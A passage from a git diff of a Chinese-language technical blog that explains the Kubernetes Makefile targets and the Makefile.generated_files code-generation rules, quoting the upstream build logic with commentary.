"$$GINKGO_HELP_INFO" +else +ginkgo: + hack/make-rules/build.sh vendor/github.com/onsi/ginkgo/ginkgo +endif +``` + +# verify +```shell +define VERIFY_HELP_INFO +# Runs all the presubmission verifications. +# +# Args: +# BRANCH: Branch to be passed to verify-godeps.sh script. +# WHAT: List of checks to run +# +# Example: +# make verify +# make verify BRANCH=branch_x +# make verify WHAT="bazel typecheck" +endef +.PHONY: verify +ifeq ($(PRINT_HELP),y) +verify: + @echo "$$VERIFY_HELP_INFO" +else +verify: + KUBE_VERIFY_GIT_BRANCH=$(BRANCH) hack/make-rules/verify.sh +endif +``` + +# quick-verify +```shell +define QUICK_VERIFY_HELP_INFO +# Runs only the presubmission verifications that aren't slow. +# +# Example: +# make quick-verify +endef +.PHONY: quick-verify +ifeq ($(PRINT_HELP),y) +quick-verify: + @echo "$$QUICK_VERIFY_HELP_INFO" +else +quick-verify: + QUICK=true SILENT=false hack/make-rules/verify.sh +endif +``` + +# update +```shell +define UPDATE_HELP_INFO +# Runs all the generated updates. +# +# Example: +# make update +endef +.PHONY: update +ifeq ($(PRINT_HELP),y) +update: generated_files + @echo "$$UPDATE_HELP_INFO" +else +update: + CALLED_FROM_MAIN_MAKEFILE=1 hack/make-rules/update.sh +endif +``` + +# check test + +``` +define CHECK_TEST_HELP_INFO +# Build and run tests. +# +# Args: +# WHAT: Directory names to test. All *_test.go files under these +# directories will be run. If not specified, "everything" will be tested. +# TESTS: Same as WHAT. +# KUBE_COVER: Whether to run tests with code coverage. Set to 'y' to enable coverage collection. +# GOFLAGS: Extra flags to pass to 'go' when building. +# GOLDFLAGS: Extra linking flags to pass to 'go' when building. +# GOGCFLAGS: Additional go compile flags passed to 'go' when building. +# +# Example: +# make check +# make test +# make check WHAT=./pkg/kubelet GOFLAGS=-v +endef +.PHONY: check test +ifeq ($(PRINT_HELP),y) +check test: + @echo "$$CHECK_TEST_HELP_INFO" +else +check test: generated_files + hack/make-rules/test.sh $(WHAT) $(TESTS) +endif +``` + +# test-integration + +```shell +define TEST_IT_HELP_INFO +# Build and run integration tests. +# +# Args: +# WHAT: Directory names to test. All *_test.go files under these +# directories will be run. If not specified, "everything" will be tested. +# +# Example: +# make test-integration +endef +.PHONY: test-integration +ifeq ($(PRINT_HELP),y) +test-integration: + @echo "$$TEST_IT_HELP_INFO" +else +test-integration: generated_files + hack/make-rules/test-integration.sh $(WHAT) +endif +``` + +# test-e2e + +```shell +define TEST_E2E_HELP_INFO +# Build and run end-to-end tests. +# +# Example: +# make test-e2e +endef +.PHONY: test-e2e +ifeq ($(PRINT_HELP),y) +test-e2e: + @echo "$$TEST_E2E_HELP_INFO" +else +test-e2e: ginkgo generated_files + go run hack/e2e.go -- --build --up --test --down +endif +``` + +# test-e2e-node + +```shell +define TEST_E2E_NODE_HELP_INFO +# Build and run node end-to-end tests. +# +# Args: +# FOCUS: Regexp that matches the tests to be run. Defaults to "". +# SKIP: Regexp that matches the tests that needs to be skipped. Defaults +# to "". +# RUN_UNTIL_FAILURE: If true, pass --untilItFails to ginkgo so tests are run +# repeatedly until they fail. Defaults to false. +# REMOTE: If true, run the tests on a remote host instance on GCE. Defaults +# to false. +# IMAGES: For REMOTE=true only. Comma delimited list of images for creating +# remote hosts to run tests against. Defaults to a recent image. +# LIST_IMAGES: If true, don't run tests. Just output the list of available +# images for testing. Defaults to false. +# HOSTS: For REMOTE=true only. Comma delimited list of running gce hosts to +# run tests against. Defaults to "". +# DELETE_INSTANCES: For REMOTE=true only. Delete any instances created as +# part of this test run. Defaults to false. +# ARTIFACTS: For REMOTE=true only. Local directory to scp test artifacts into +# from the remote hosts. Defaults to "/tmp/_artifacts". +# REPORT: For REMOTE=false only. Local directory to write juntil xml results +# to. Defaults to "/tmp/". +# CLEANUP: For REMOTE=true only. If false, do not stop processes or delete +# test files on remote hosts. Defaults to true. +# IMAGE_PROJECT: For REMOTE=true only. Project containing images provided to +# IMAGES. Defaults to "kubernetes-node-e2e-images". +# INSTANCE_PREFIX: For REMOTE=true only. Instances created from images will +# have the name "${INSTANCE_PREFIX}-${IMAGE_NAME}". Defaults to "test". +# INSTANCE_METADATA: For REMOTE=true and running on GCE only. +# GUBERNATOR: For REMOTE=true only. Produce link to Gubernator to view logs. +# Defaults to false. +# PARALLELISM: The number of gingko nodes to run. Defaults to 8. +# RUNTIME: Container runtime to use (eg. docker, remote). +# Defaults to "docker". +# CONTAINER_RUNTIME_ENDPOINT: remote container endpoint to connect to. +# Used when RUNTIME is set to "remote". +# IMAGE_SERVICE_ENDPOINT: remote image endpoint to connect to, to prepull images. +# Used when RUNTIME is set to "remote". +# IMAGE_CONFIG_FILE: path to a file containing image configuration. +# SYSTEM_SPEC_NAME: The name of the system spec to be used for validating the +# image in the node conformance test. The specs are located at +# test/e2e_node/system/specs/. For example, "SYSTEM_SPEC_NAME=gke" will use +# the spec at test/e2e_node/system/specs/gke.yaml. If unspecified, the +# default built-in spec (system.DefaultSpec) will be used. +# +# Example: +# make test-e2e-node FOCUS=Kubelet SKIP=container +# make test-e2e-node REMOTE=true DELETE_INSTANCES=true +# make test-e2e-node TEST_ARGS='--kubelet-flags="--cgroups-per-qos=true"' +# Build and run tests. +endef +.PHONY: test-e2e-node +ifeq ($(PRINT_HELP),y) +test-e2e-node: + @echo "$$TEST_E2E_NODE_HELP_INFO" +else +test-e2e-node: ginkgo generated_files + hack/make-rules/test-e2e-node.sh +endif +``` + +# test-cmd + +```shell +define TEST_CMD_HELP_INFO +# Build and run cmdline tests. +# +# Example: +# make test-cmd +endef +.PHONY: test-cmd +ifeq ($(PRINT_HELP),y) +test-cmd: + @echo "$$TEST_CMD_HELP_INFO" +else +test-cmd: generated_files + hack/make-rules/test-kubeadm-cmd.sh + hack/make-rules/test-cmd.sh +endif +``` + +# clean + +```shell +define CLEAN_HELP_INFO +# Remove all build artifacts. +# +# Example: +# make clean +# +# TODO(thockin): call clean_generated when we stop committing generated code. +endef +.PHONY: clean +ifeq ($(PRINT_HELP),y) +clean: + @echo "$$CLEAN_HELP_INFO" +else +clean: clean_meta + build/make-clean.sh + hack/make-rules/clean.sh +endif +``` + +# clean_meta + +```shell +define CLEAN_META_HELP_INFO +# Remove make-related metadata files. +# +# Example: +# make clean_meta +endef +.PHONY: clean_meta +ifeq ($(PRINT_HELP),y) +clean_meta: + @echo "$$CLEAN_META_HELP_INFO" +else +clean_meta: + rm -rf $(META_DIR) +endif +``` + +# clean_generated + +```shell +define CLEAN_GENERATED_HELP_INFO +# Remove all auto-generated artifacts. Generated artifacts in staging folder should not be removed as they are not +# generated using generated_files. +# +# Example: +# make clean_generated +endef +.PHONY: clean_generated +ifeq ($(PRINT_HELP),y) +clean_generated: + @echo "$$CLEAN_GENERATED_HELP_INFO" +else +clean_generated: + find . -type f -name $(GENERATED_FILE_PREFIX)\* | grep -v "[.]/staging/.*" | xargs rm -f +endif +``` + +# vet + +```shell +define VET_HELP_INFO +# Run 'go vet'. +# +# Args: +# WHAT: Directory names to vet. All *.go files under these +# directories will be vetted. If not specified, "everything" will be +# vetted. +# +# Example: +# make vet +# make vet WHAT=./pkg/kubelet +endef +.PHONY: vet +ifeq ($(PRINT_HELP),y) +vet: + @echo "$$VET_HELP_INFO" +else +vet: generated_files + CALLED_FROM_MAIN_MAKEFILE=1 hack/make-rules/vet.sh $(WHAT) +endif +``` + +# release + +```shell +define RELEASE_HELP_INFO +# Build a release +# Use the 'release-in-a-container' target to build the release when already in +# a container vs. creating a new container to build in using the 'release' +# target. Useful for running in GCB. +# +# Example: +# make release +# make release-in-a-container +endef +.PHONY: release release-in-a-container +ifeq ($(PRINT_HELP),y) +release release-in-a-container: + @echo "$$RELEASE_HELP_INFO" +else +release: + build/release.sh +release-in-a-container: + build/release-in-a-container.sh +endif +``` + +# release-images + +```shell +define RELEASE_IMAGES_HELP_INFO +# Build release images +# +# Args: +# KUBE_BUILD_HYPERKUBE: Whether to build hyperkube image as well. Set to 'n' to skip. +# KUBE_BUILD_CONFORMANCE: Whether to build conformance testing image as well. Set to 'n' to skip. +# +# Example: +# make release-images +endef +.PHONY: release-images +ifeq ($(PRINT_HELP),y) +release-images: + @echo "$$RELEASE_IMAGES_HELP_INFO" +else +release-images: + build/release-images.sh +endif +``` + +# release-skip-tests + +```shell +define RELEASE_SKIP_TESTS_HELP_INFO +# Build a release, but skip tests +# +# Args: +# KUBE_RELEASE_RUN_TESTS: Whether to run tests. Set to 'y' to run tests anyways. +# KUBE_FASTBUILD: Whether to cross-compile for other architectures. Set to 'false' to do so. +# +# Example: +# make release-skip-tests +# make quick-release +endef +.PHONY: release-skip-tests quick-release +ifeq ($(PRINT_HELP),y) +release-skip-tests quick-release: + @echo "$$RELEASE_SKIP_TESTS_HELP_INFO" +else +release-skip-tests quick-release: KUBE_RELEASE_RUN_TESTS = n +release-skip-tests quick-release: KUBE_FASTBUILD = true +release-skip-tests quick-release: + build/release.sh +endif +``` + +# quick-release-images + +```shell +define QUICK_RELEASE_IMAGES_HELP_INFO +# Build release images, but only for linux/amd64 +# +# Args: +# KUBE_FASTBUILD: Whether to cross-compile for other architectures. Set to 'false' to do so. +# KUBE_BUILD_HYPERKUBE: Whether to build hyperkube image as well. Set to 'n' to skip. +# KUBE_BUILD_CONFORMANCE: Whether to build conformance testing image as well. Set to 'n' to skip. +# +# Example: +# make quick-release-images +endef +.PHONY: quick-release-images +ifeq ($(PRINT_HELP),y) +quick-release-images: + @echo "$$QUICK_RELEASE_IMAGES_HELP_INFO" +else +quick-release-images: KUBE_FASTBUILD = true +quick-release-images: + build/release-images.sh +endif +``` + +# package-tarballs + +```shell +define PACKAGE_HELP_INFO +# Package tarballs +# Use the 'package-tarballs' target to run the final packaging steps of +# a release. +# +# Example: +# make package-tarballs +endef +.PHONY: package package-tarballs +ifeq ($(PRINT_HELP),y) +package package-tarballs: + @echo "$$PACKAGE_HELP_INFO" +else +package package-tarballs: + build/package-tarballs.sh +endif +``` + +# cross-in-a-container + +```shell +define CROSS_HELP_INFO +# Cross-compile for all platforms +# Use the 'cross-in-a-container' target to cross build when already in +# a container vs. creating a new container to build from (build-image) +# Useful for running in GCB. +# +# Example: +# make cross +# make cross-in-a-container +endef +.PHONY: cross cross-in-a-container +ifeq ($(PRINT_HELP),y) +cross cross-in-a-container: + @echo "$$CROSS_HELP_INFO" +else +cross: + hack/make-rules/cross.sh +cross-in-a-container: KUBE_OUTPUT_SUBPATH = $(OUT_DIR)/dockerized +cross-in-a-container: +ifeq (,$(wildcard /.dockerenv)) + @echo -e "\nThe 'cross-in-a-container' target can only be used from within a docker container.\n" +else + hack/make-rules/cross.sh +endif +endif +``` + +# kubectl kube-proxy + +```shell +define CMD_HELP_INFO +# Add rules for all directories in cmd/ +# +# Example: +# make kubectl kube-proxy +endef +#TODO: make EXCLUDE_TARGET auto-generated when there are other files in cmd/ +EXCLUDE_TARGET=BUILD OWNERS +.PHONY: $(filter-out %$(EXCLUDE_TARGET),$(notdir $(abspath $(wildcard cmd/*/)))) +ifeq ($(PRINT_HELP),y) +$(filter-out %$(EXCLUDE_TARGET),$(notdir $(abspath $(wildcard cmd/*/)))): + @echo "$$CMD_HELP_INFO" +else +$(filter-out %$(EXCLUDE_TARGET),$(notdir $(abspath $(wildcard cmd/*/)))): generated_files + hack/make-rules/build.sh cmd/$@ +endif +``` + +# generated_files + +```shell +make -f Makefile.generated_files generated_files CALLED_FROM_MAIN_MAKEFILE=1 +``` + +```shell +define GENERATED_FILES_HELP_INFO +# Produce auto-generated files needed for the build. +# +# Example: +# make generated_files +endef +.PHONY: generated_files +ifeq ($(PRINT_HELP),y) +generated_files: + @echo "$$GENERATED_FILES_HELP_INFO" +else +generated_files: + $(MAKE) -f Makefile.generated_files $@ CALLED_FROM_MAIN_MAKEFILE=1 +endif +``` + +# help + +```shell +define HELP_INFO +# Print make targets and help info +# +# Example: +# make help +endef +.PHONY: help +ifeq ($(PRINT_HELP),y) +help: + @echo "$$HELP_INFO" +else +help: + hack/make-rules/make-help.sh +endif +``` + +# bazel-build + +```shell +# Non-dockerized bazel rules. +.PHONY: bazel-build bazel-test bazel-release + +ifeq ($(PRINT_HELP),y) +define BAZEL_BUILD_HELP_INFO +# Build with bazel +# +# Example: +# make bazel-build +endef +bazel-build: + @echo "$$BAZEL_BUILD_HELP_INFO" +else +# Some things in vendor don't build due to empty target lists for cross-platform rules. +bazel-build: + bazel build -- //... -//vendor/... +endif +``` + +# bazel-test + +```shell +ifeq ($(PRINT_HELP),y) +define BAZEL_TEST_HELP_INFO +# Test with bazel +# +# Example: +# make bazel-test +endef +bazel-test: + @echo "$$BAZEL_TEST_HELP_INFO" +else +# //hack:verify-all is a manual target. +# We don't want to build any of the release artifacts when running tests. +# Some things in vendor don't build due to empty target lists for cross-platform rules. +bazel-test: + bazel test --config=unit -- \ + //... \ + //hack:verify-all \ + -//build/... \ + -//vendor/... +endif +``` + +# bazel-test-integration + +```shell +ifeq ($(PRINT_HELP),y) +define BAZEL_TEST_INTEGRATION_HELP_INFO +# Integration test with bazel +# +# Example: +# make bazel-test-integration +endef +bazel-test-integration: + @echo "$$BAZEL_TEST_INTEGRATION_HELP_INFO" +else +bazel-test-integration: + bazel test --config integration //test/integration/... +endif +``` + +# bazel-release + +```shell +ifeq ($(PRINT_HELP),y) +define BAZEL_RELEASE_HELP_INFO +# Build release tars with bazel +# +# Example: +# make bazel-release +endef +bazel-release: + @echo "$$BAZEL_RELEASE_HELP_INFO" +else +bazel-release: + bazel build //build/release-tars +endif +``` + + + +# 参考 ++ [Kubernetes中文指南](https://www.bookstack.cn/read/kubernetes-handbook/develop-testing.md) ++ [kubernetes I - learn & install](https://sn0rt.github.io/k8s-i/) \ No newline at end of file diff --git a/_posts/2019-06-19-428-k8s-Makefile-generated-files.md b/_posts/2019-06-19-428-k8s-Makefile-generated-files.md new file mode 100644 index 0000000..55596a8 --- /dev/null +++ b/_posts/2019-06-19-428-k8s-Makefile-generated-files.md @@ -0,0 +1,505 @@ +--- +layout: post +title: 解读K8S Makefile.generated_files +pid: 428 +tags: [k8s] +--- + +# 文件路径 + +Makefile -> build/root/Makefile.generated_files + +make -f Makefile.generated_files generated_files CALLED_FROM_MAIN_MAKEFILE=1 + +# 准备工作 + +```shell +ifeq ($(CALLED_FROM_MAIN_MAKEFILE),) + $(error Please use the main Makefile, e.g. `make generated_files`) +endif + +# Don't allow an implicit 'all' rule. This is not a user-facing file. +ifeq ($(MAKECMDGOALS),) + $(error This Makefile requires an explicit rule to be specified) +endif + +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** starting Makefile.generated_files for goal(s) "$(MAKECMDGOALS)") + $(warning ***** $(shell date)) +endif + +SHELL := /bin/bash +``` + +# This rule collects all the generated file sets into a single rule. Other +# rules should depend on this to ensure generated files are rebuilt. +.PHONY: generated_files +generated_files: gen_deepcopy gen_defaulter gen_conversion gen_openapi gen_bindata + +# +# Helper logic to calculate Go's dependency DAG ourselves. +# + +# This is a file that will be emitted by the go2make tool, containing a +# variable for each Go package in the project (including deps) which lists all +# of the transitive deps of that package. Each variable is named the same as +# the package - for example the variable for `k8s.io/kubernetes/pkg/api` is +# $(k8s.io/kubernetes/pkg/api). This is roughly the same DAG that the Go +# compiler uses. These variables can be used to figure out if, for example, +# generated code needs to be regenerated. +GO_PKGDEPS_FILE = go-pkgdeps.mk + +# Include the Go package dependencies file. This will cause the rule of +# the same name to be considered and if it is updated, make will restart and +# reload the updated deps. +sinclude $(META_DIR)/$(GO_PKGDEPS_FILE) + +# Update the set of Go deps for our project. This will let us determine if +# we really need to do expensive codegen. We use FORCE because it is not a +# PHONY file, but we do want it to be re-evaluated every time make is run. The +# file will only be touched if it actually changes. +$(META_DIR)/$(GO_PKGDEPS_FILE): FORCE + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: calculating Go dependencies"; \ + fi + hack/run-in-gopath.sh go install ./hack/make-rules/helpers/go2make + hack/run-in-gopath.sh go2make \ + k8s.io/kubernetes/... \ + --prune k8s.io/kubernetes/staging \ + --prune k8s.io/kubernetes/vendor \ + k8s.io/kubernetes/vendor/k8s.io/... \ + github.com/jteeuwen/go-bindata/go-bindata/... \ + > $@.tmp + if ! cmp -s $@.tmp $@; then \ + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: $(GO_PKGDEPS_FILE) changed"; \ + fi; \ + cat $@.tmp > $@; \ + fi + rm -f $@.tmp + +.PHONY: FORCE +FORCE: + +# +# Helper logic to find which directories need codegen as quickly as possible. +# + +# This variable holds a list of every directory that contains Go files in this +# project. Other rules and variables can use this as a starting point to +# reduce filesystem accesses. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all *.go dirs) +endif +ALL_GO_DIRS := $(shell \ + hack/make-rules/helpers/cache_go_dirs.sh $(META_DIR)/all_go_dirs.mk \ +) + +# Generate a list of all files that have a `+k8s:` comment-tag. This will be +# used to derive lists of files/dirs for generation tools. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all +k8s: tags) +endif +ALL_K8S_TAG_FILES := $(shell \ + find $(ALL_GO_DIRS) -maxdepth 1 -type f -name \*.go \ + | xargs grep --color=never -l '^// *+k8s:' \ +) + + +# +# Code generation logic. +# + + +# Deep-copy generation +# +# Any package that wants deep-copy functions generated must include a +# comment-tag in column 0 of one file of the form: +# // +k8s:deepcopy-gen= +# +# The may be one of: +# generate: generate deep-copy functions into the package +# register: generate deep-copy functions and register them with a +# scheme + +# The result file, in each pkg, of deep-copy generation. +DEEPCOPY_BASENAME := $(GENERATED_FILE_PREFIX)deepcopy +DEEPCOPY_FILENAME := $(DEEPCOPY_BASENAME).go + +# The tool used to generate deep copies. +DEEPCOPY_GEN := $(BIN_DIR)/deepcopy-gen + +# Find all the directories that request deep-copy generation. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all +k8s:deepcopy-gen tags) +endif +DEEPCOPY_DIRS := $(shell \ + grep --color=never -l '+k8s:deepcopy-gen=' $(ALL_K8S_TAG_FILES) \ + | xargs -n1 dirname \ + | LC_ALL=C sort -u \ +) +DEEPCOPY_FILES := $(addsuffix /$(DEEPCOPY_FILENAME), $(DEEPCOPY_DIRS)) + +# Reset the list of packages that need generation. +$(shell mkdir -p $$(dirname $(META_DIR)/$(DEEPCOPY_GEN))) +$(shell rm -f $(META_DIR)/$(DEEPCOPY_GEN).todo) + +# This rule aggregates the set of files to generate and then generates them all +# in a single run of the tool. +.PHONY: gen_deepcopy +gen_deepcopy: $(DEEPCOPY_GEN) $(META_DIR)/$(DEEPCOPY_GEN).todo + if [[ -s $(META_DIR)/$(DEEPCOPY_GEN).todo ]]; then \ + pkgs=$$(cat $(META_DIR)/$(DEEPCOPY_GEN).todo | paste -sd, -); \ + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: running $(DEEPCOPY_GEN) for $$pkgs"; \ + fi; \ + ./hack/run-in-gopath.sh $(DEEPCOPY_GEN) \ + --v $(KUBE_VERBOSE) \ + --logtostderr \ + -i "$$pkgs" \ + --bounding-dirs $(PRJ_SRC_PATH),"k8s.io/api" \ + -O $(DEEPCOPY_BASENAME) \ + "$$@"; \ + fi \ + +# For each dir in DEEPCOPY_DIRS, this establishes a dependency between the +# output file and the input files that should trigger a rebuild. +# +# Note that this is a deps-only statement, not a full rule (see below). This +# has to be done in a distinct step because wildcards don't work in static +# pattern rules. +# +# The '$(eval)' is needed because this has a different RHS for each LHS, and +# would otherwise produce results that make can't parse. +$(foreach dir, $(DEEPCOPY_DIRS), $(eval \ + $(dir)/$(DEEPCOPY_FILENAME): $($(PRJ_SRC_PATH)/$(dir)) \ +)) + +# How to regenerate deep-copy code. This is a little slow to run, so we batch +# it up and trigger the batch from the 'generated_files' target. +$(META_DIR)/$(DEEPCOPY_GEN).todo: $(DEEPCOPY_FILES) + +$(DEEPCOPY_FILES): $(DEEPCOPY_GEN) + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: deepcopy needed $(@D): $?"; \ + ls -lf --full-time $@ $? || true; \ + fi + echo $(PRJ_SRC_PATH)/$(@D) >> $(META_DIR)/$(DEEPCOPY_GEN).todo + +# How to build the generator tool. The deps for this are defined in +# the $(GO_PKGDEPS_FILE), above. +# +# A word on the need to touch: This rule might trigger if, for example, a +# non-Go file was added or deleted from a directory on which this depends. +# This target needs to be reconsidered, but Go realizes it doesn't actually +# have to be rebuilt. In that case, make will forever see the dependency as +# newer than the binary, and try to "rebuild" it over and over. So we touch +# it, and make is happy. +$(DEEPCOPY_GEN): $(k8s.io/kubernetes/vendor/k8s.io/code-generator/cmd/deepcopy-gen) + KUBE_BUILD_PLATFORMS="" hack/make-rules/build.sh ./vendor/k8s.io/code-generator/cmd/deepcopy-gen + touch $@ + + +# Defaulter generation +# +# Any package that wants defaulter functions generated must include a +# comment-tag in column 0 of one file of the form: +# // +k8s:defaulter-gen= +# +# The depends on context: +# on types: +# true: always generate a defaulter for this type +# false: never generate a defaulter for this type +# on functions: +# covers: if the function name matches SetDefault_NAME, instructs +# the generator not to recurse +# on packages: +# FIELDNAME: any object with a field of this name is a candidate +# for having a defaulter generated + +# The result file, in each pkg, of defaulter generation. +DEFAULTER_BASENAME := $(GENERATED_FILE_PREFIX)defaults +DEFAULTER_FILENAME := $(DEFAULTER_BASENAME).go + +# The tool used to generate defaulters. +DEFAULTER_GEN := $(BIN_DIR)/defaulter-gen + +# All directories that request any form of defaulter generation. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all +k8s:defaulter-gen tags) +endif +DEFAULTER_DIRS := $(shell \ + grep --color=never -l '+k8s:defaulter-gen=' $(ALL_K8S_TAG_FILES) \ + | xargs -n1 dirname \ + | LC_ALL=C sort -u \ +) + +DEFAULTER_FILES := $(addsuffix /$(DEFAULTER_FILENAME), $(DEFAULTER_DIRS)) + +# Reset the list of packages that need generation. +$(shell mkdir -p $$(dirname $(META_DIR)/$(DEFAULTER_GEN))) +$(shell rm -f $(META_DIR)/$(DEFAULTER_GEN).todo) + +# This rule aggregates the set of files to generate and then generates them all +# in a single run of the tool. +.PHONY: gen_defaulter +gen_defaulter: $(DEFAULTER_GEN) $(META_DIR)/$(DEFAULTER_GEN).todo + if [[ -s $(META_DIR)/$(DEFAULTER_GEN).todo ]]; then \ + pkgs=$$(cat $(META_DIR)/$(DEFAULTER_GEN).todo | paste -sd, -); \ + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: running $(DEFAULTER_GEN) for $$pkgs"; \ + fi; \ + ./hack/run-in-gopath.sh $(DEFAULTER_GEN) \ + --v $(KUBE_VERBOSE) \ + --logtostderr \ + -i "$$pkgs" \ + --extra-peer-dirs $$(echo $(addprefix $(PRJ_SRC_PATH)/, $(DEFAULTER_DIRS)) | sed 's/ /,/g') \ + -O $(DEFAULTER_BASENAME) \ + "$$@"; \ + fi + +# For each dir in DEFAULTER_DIRS, this establishes a dependency between the +# output file and the input files that should trigger a rebuild. +# +# Note that this is a deps-only statement, not a full rule (see below for that). +# +# The '$(eval)' is needed because this has a different RHS for each LHS, and +# would otherwise produce results that make can't parse. +$(foreach dir, $(DEFAULTER_DIRS), $(eval \ + $(dir)/$(DEFAULTER_FILENAME): $($(PRJ_SRC_PATH)/$(dir)) \ +)) + +# How to regenerate defaulter code. This is a little slow to run, so we batch +# it up and trigger the batch from the 'generated_files' target. +$(META_DIR)/$(DEFAULTER_GEN).todo: $(DEFAULTER_FILES) + +$(DEFAULTER_FILES): $(DEFAULTER_GEN) + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: defaulter needed $(@D): $?"; \ + ls -lf --full-time $@ $? || true; \ + fi + echo $(PRJ_SRC_PATH)/$(@D) >> $(META_DIR)/$(DEFAULTER_GEN).todo + +# How to build the generator tool. The deps for this are defined in +# the $(GO_PKGDEPS_FILE), above. +# +# A word on the need to touch: This rule might trigger if, for example, a +# non-Go file was added or deleted from a directory on which this depends. +# This target needs to be reconsidered, but Go realizes it doesn't actually +# have to be rebuilt. In that case, make will forever see the dependency as +# newer than the binary, and try to "rebuild" it over and over. So we touch +# it, and make is happy. +$(DEFAULTER_GEN): $(k8s.io/kubernetes/vendor/k8s.io/code-generator/cmd/defaulter-gen) + KUBE_BUILD_PLATFORMS="" hack/make-rules/build.sh ./vendor/k8s.io/code-generator/cmd/defaulter-gen + touch $@ + + +# Conversion generation +# +# Any package that wants conversion functions generated must include one or +# more comment-tags in any .go file, in column 0, of the form: +# // +k8s:conversion-gen= +# +# The CONVERSION_TARGET_DIR is a project-local path to another directory which +# should be considered when evaluating peer types for conversions. Types which +# are found in the source package (where conversions are being generated) +# but do not have a peer in one of the target directories will not have +# conversions generated. +# +# TODO: it might be better in the long term to make peer-types explicit in the +# IDL. + +# The result file, in each pkg, of conversion generation. +CONVERSION_BASENAME := $(GENERATED_FILE_PREFIX)conversion +CONVERSION_FILENAME := $(CONVERSION_BASENAME).go + +# The tool used to generate conversions. +CONVERSION_GEN := $(BIN_DIR)/conversion-gen + +# The name of the metadata file listing conversion peers for each pkg. +CONVERSIONS_META := conversions.mk + +# All directories that request any form of conversion generation. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all +k8s:conversion-gen tags) +endif +CONVERSION_DIRS := $(shell \ + grep --color=never '^// *+k8s:conversion-gen=' $(ALL_K8S_TAG_FILES) \ + | cut -f1 -d: \ + | xargs -n1 dirname \ + | LC_ALL=C sort -u \ +) + +CONVERSION_FILES := $(addsuffix /$(CONVERSION_FILENAME), $(CONVERSION_DIRS)) +CONVERSION_EXTRA_PEER_DIRS := k8s.io/kubernetes/pkg/apis/core,k8s.io/kubernetes/pkg/apis/core/v1,k8s.io/api/core/v1 + +# Reset the list of packages that need generation. +$(shell mkdir -p $$(dirname $(META_DIR)/$(CONVERSION_GEN))) +$(shell rm -f $(META_DIR)/$(CONVERSION_GEN).todo) + +# This rule aggregates the set of files to generate and then generates them all +# in a single run of the tool. +.PHONY: gen_conversion +gen_conversion: $(CONVERSION_GEN) $(META_DIR)/$(CONVERSION_GEN).todo + if [[ -s $(META_DIR)/$(CONVERSION_GEN).todo ]]; then \ + pkgs=$$(cat $(META_DIR)/$(CONVERSION_GEN).todo | paste -sd, -); \ + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: running $(CONVERSION_GEN) for $$pkgs"; \ + fi; \ + ./hack/run-in-gopath.sh $(CONVERSION_GEN) \ + --extra-peer-dirs $(CONVERSION_EXTRA_PEER_DIRS) \ + --v $(KUBE_VERBOSE) \ + --logtostderr \ + -i "$$pkgs" \ + -O $(CONVERSION_BASENAME) \ + "$$@"; \ + fi + +# For each dir in CONVERSION_DIRS, this establishes a dependency between the +# output file and the input files that should trigger a rebuild. +# +# Note that this is a deps-only statement, not a full rule (see below for that). +# +# The '$(eval)' is needed because this has a different RHS for each LHS, and +# would otherwise produce results that make can't parse. +$(foreach dir, $(CONVERSION_DIRS), $(eval \ + $(dir)/$(CONVERSION_FILENAME): $($(PRJ_SRC_PATH)/$(dir)) \ +)) + +# How to regenerate conversion code. This is a little slow to run, so we batch +# it up and trigger the batch from the 'generated_files' target. +$(META_DIR)/$(CONVERSION_GEN).todo: $(CONVERSION_FILES) + +$(CONVERSION_FILES): $(CONVERSION_GEN) + if [[ "$(DBG_CODEGEN)" == 1 ]]; then \ + echo "DBG: conversion needed $(@D): $?"; \ + ls -lf --full-time $@ $? || true; \ + fi + echo $(PRJ_SRC_PATH)/$(@D) >> $(META_DIR)/$(CONVERSION_GEN).todo + +# How to build the generator tool. The deps for this are defined in +# the $(GO_PKGDEPS_FILE), above. +# +# A word on the need to touch: This rule might trigger if, for example, a +# non-Go file was added or deleted from a directory on which this depends. +# This target needs to be reconsidered, but Go realizes it doesn't actually +# have to be rebuilt. In that case, make will forever see the dependency as +# newer than the binary, and try to rebuild it over and over. So we touch it, +# and make is happy. +$(CONVERSION_GEN): $(k8s.io/kubernetes/vendor/k8s.io/code-generator/cmd/conversion-gen) + KUBE_BUILD_PLATFORMS="" hack/make-rules/build.sh ./vendor/k8s.io/code-generator/cmd/conversion-gen + touch $@ + + +# OpenAPI generation +# +# Any package that wants open-api functions generated must include a +# comment-tag in column 0 of one file of the form: +# // +k8s:openapi-gen=true +# +# The result file, in each pkg, of open-api generation. +OPENAPI_BASENAME := $(GENERATED_FILE_PREFIX)openapi +OPENAPI_FILENAME := $(OPENAPI_BASENAME).go +OPENAPI_OUTPUT_PKG := pkg/generated/openapi +BOILERPLATE_FILENAME := vendor/k8s.io/code-generator/hack/boilerplate.go.txt +REPORT_FILENAME := $(OUT_DIR)/violations.report +KNOWN_VIOLATION_FILENAME := api/api-rules/violation_exceptions.list +# When UPDATE_API_KNOWN_VIOLATIONS is set to be true, let the generator to write +# updated API violations to the known API violation exceptions list. +ifeq ($(UPDATE_API_KNOWN_VIOLATIONS),true) + REPORT_FILENAME:=$(KNOWN_VIOLATION_FILENAME) + # When UPDATE_API_KNOWN_VIOLATIONS is set to be true, touch the exceptions + # list so that the OPENAPI_OUTFILE target re-run instead of being cached. + $(shell touch $(KNOWN_VIOLATION_FILENAME)) +endif +API_RULE_CHECK_FAILURE_MESSAGE := "ERROR: \n\t API rule check failed. Reported violations differ from known violations. Please read api/api-rules/README.md to resolve the failure. \n" + +# The tool used to generate open apis. +OPENAPI_GEN := $(BIN_DIR)/openapi-gen + +# Find all the directories that request open-api generation. +ifeq ($(DBG_MAKEFILE),1) + $(warning ***** finding all +k8s:openapi-gen tags) +endif +OPENAPI_DIRS := $(shell \ + grep --color=never -l '+k8s:openapi-gen=' $(ALL_K8S_TAG_FILES) \ + | xargs -n1 dirname \ + | 